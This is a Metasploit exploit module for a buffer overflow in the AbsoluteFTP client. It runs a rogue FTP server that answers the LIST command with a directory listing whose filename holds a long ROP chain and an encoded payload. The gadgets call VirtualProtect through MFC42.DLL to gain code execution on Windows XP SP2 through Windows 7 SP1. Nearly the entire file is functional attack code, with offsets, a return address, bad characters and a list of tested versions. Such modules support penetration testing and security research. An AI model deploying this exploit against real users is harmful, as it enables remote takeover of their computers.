##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::FtpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AbsoluteFTP 1.9.6 - 2.2.10 Remote Buffer Overflow (LIST)',
			'Description'    => %q{
				This module exploits VanDyke Software AbsoluteFTP by overflowing
				a filename buffer related to the LIST command.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Node', # Original discovery, MSF module, ROP code
				],
			'References'     =>
				[
					#[ 'OSVDB', '---' ],
					#[ 'CVE', '---' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/18102/' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Platform'       => 'win',
			'Payload'        =>
				{
					'BadChars' => "\x00\x0d\x5c\x2f\x0a",
				},
			'Targets'        =>
				[
					[
						'WinXP SP2 - Windows 7 SP1 / AbsoluteFTP 1.9.6 - 2.2.10.252',
						{
							'Ret'    => 0x5f479005,
							'Offset' => 3336
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 9 2011',
			'DefaultTarget'  => 0))
	end

	#copypasted from ScriptFTP exploit
	def on_client_unknown_command(c,cmd,arg)
		c.put("200 OK\r\n")
	end

	def on_client_command_list(c,arg)

		conn = establish_data_connection(c)
		if(not conn)
			c.put("425 Can't build data connection\r\n")
			return
		end

		print_status(" - Data connection set up")
		code = 150
		c.put("#{code} Here comes the directory listing.\r\n")

		code = 226
		c.put("#{code} Directory send ok.\r\n")

	rop_gadgets = 
		[
			0x5f46a206,  # POP EAX # RETN (MFC42.DLL)
			0x5f49b260,  # <- *&VirtualProtect() 
			0x5f413fa0,  # MOV EAX,DWORD PTR DS:[EAX] # RETN 04    ** [MFC42.DLL]
			0x5f418d93,  # PUSH EAX # ADD AL,5F # POP ESI # POP EBX # RETN    ** [MFC42.DLL]
			0x90909090,  # NOPS (RETN 4)
			0x90909090,  # NOPS (-> ebx)
			0x5f432001,  # POP EBP # RETN (MFC42.DLL)
			0x5F4774D5,  # ptr to 'jmp esp' (from MFC42.DLL)
			0x5f46a206,  # POP EAX # RETN (MFC42.DLL)
			0xfffffdff,  # value to negate, target value : 0x00000201, target reg : ebx #<--ADJUST ME FOR BIGGER PAYLOAD
			0x5f46f6dd,  # NEG EAX # RETN (MFC42.DLL)
			0x5f47909a,  # XCHG EAX,EBX # DEC EDX # POP EDI # RETN (MFC42.DLL)
			0x90909090,  # NOPS (-> edi)
			0x5f498456,  # POP ECX # RETN (MFC42.DLL)
			0x5F4D1115,  # RW pointer (lpOldProtect) (-> ecx) !!!
			0x5f46a206,  # POP EAX # RETN (MFC42.DLL)
			0xffffffc0,  # value to negate, target value : 0x00000040, target reg : edx
			0x5f46f6dd,  # NEG EAX # RETN (MFC42.DLL)
			0x5f4892df,  # XCHG EAX,EDX # DEC EAX # POP EDI # RETN (MFC42.DLL)
			0x5f479005,  # ROP NOP (-> edi)
			0x5f46a206,  # POP EAX # RETN (MFC42.DLL)
			0x90909090,  # NOPS (-> eax)
			0x5f4755b8,  # PUSHAD # RETN (MFC42.DLL)
		].pack("V*")

		buffer = [0x5f479005].pack("V*")*848 #ROP NOP's
		buffer << rop_gadgets
		buffer << "\x90"*30
		buffer << payload.encoded

		#copypasted from ScriptFTP exploit
		print_status(" - Sending directory list via data connection")
		dirlist =  "-rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"
		dirlist << "   5 ftpuser  ftpusers       512 Jul 26  2001 A\r\n"
		dirlist << "rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"

		conn.put(dirlist)
		conn.close
		return
	end
end

=begin
Exploit has been tested to work on:

AbsoluteFTP 2.2.10 (build 252)
AbsoluteFTP 2.2.9 (build 248)
AbsoluteFTP 2.2.8 (build 241)
AbsoluteFTP 2.2.7 (build 238)
AbsoluteFTP 2.2.6 (build 230)
AbsoluteFTP 2.2.5 (build 225)
AbsoluteFTP 2.2.4 (build 216)
AbsoluteFTP 2.2.3 (build 210)
AbsoluteFTP 2.2.2 (build 203)
AbsoluteFTP 2.2 (build 197)
AbsoluteFTP 2.2 (build 291)
AbsoluteFTP 2.2B3 (build 163)
AbsoluteFTP 2.2B2 (build 158)
AbsoluteFTP 2.2B1 (build 144)
AbsoluteFTP 2.0.5 (build 297)
AbsoluteFTP 2.0.4 (build 293)
AbsoluteFTP 2.0.3 (build 289)
AbsoluteFTP 1.9.6

Does not work on:
AbsoluteFTP 1.8
=end